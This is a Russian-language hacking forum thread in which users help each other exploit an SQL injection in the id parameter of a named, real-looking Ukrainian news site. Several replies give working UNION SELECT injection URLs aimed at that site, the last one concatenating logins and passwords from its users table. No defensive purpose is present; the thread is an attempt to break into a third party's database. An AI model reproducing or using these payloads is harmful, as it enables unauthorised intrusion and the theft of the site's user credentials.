sql-inj запросы
 

есть сайт с уязвимым параметром page.php?id=35167

подбор колонок показал что их две и есть таблица users но вытащить оттуда что либо неувенчалось успехом :(
прав на запросы к msql. нету
прошу помощи у профов

поищи таблицы user user admin admins members и так далеее

Кароче займись подбором Таблиц и колонок....

вы непоняли вопроса.
я немогу вытащить оттуда инфу
например есть таблица users и в ней есть параметр id
но запрос union select 1,id from users ничего не выдает...

Линк дай.
Млять какой же народ пошел.

http://daily.com.ua/analytics/page.php?id=35167

Помойму иньекция на этот сайт проведена кем то из наших, во всяком случае в антибояне линк есть

http://daily.com.ua/analytics/page.php?id=-1+union+select+1,password+from+users/*
http://daily.com.ua/analytics/page.php?id=-1+union+select+1,2/*

втф? либо я слепой, либо лыжи не едут, но вывода в упор не вижу.

http://daily.com.ua/analytics/page.php?id=3516+and(1=-1)+union+select+concat(login,char(95),password),6+ from+users/*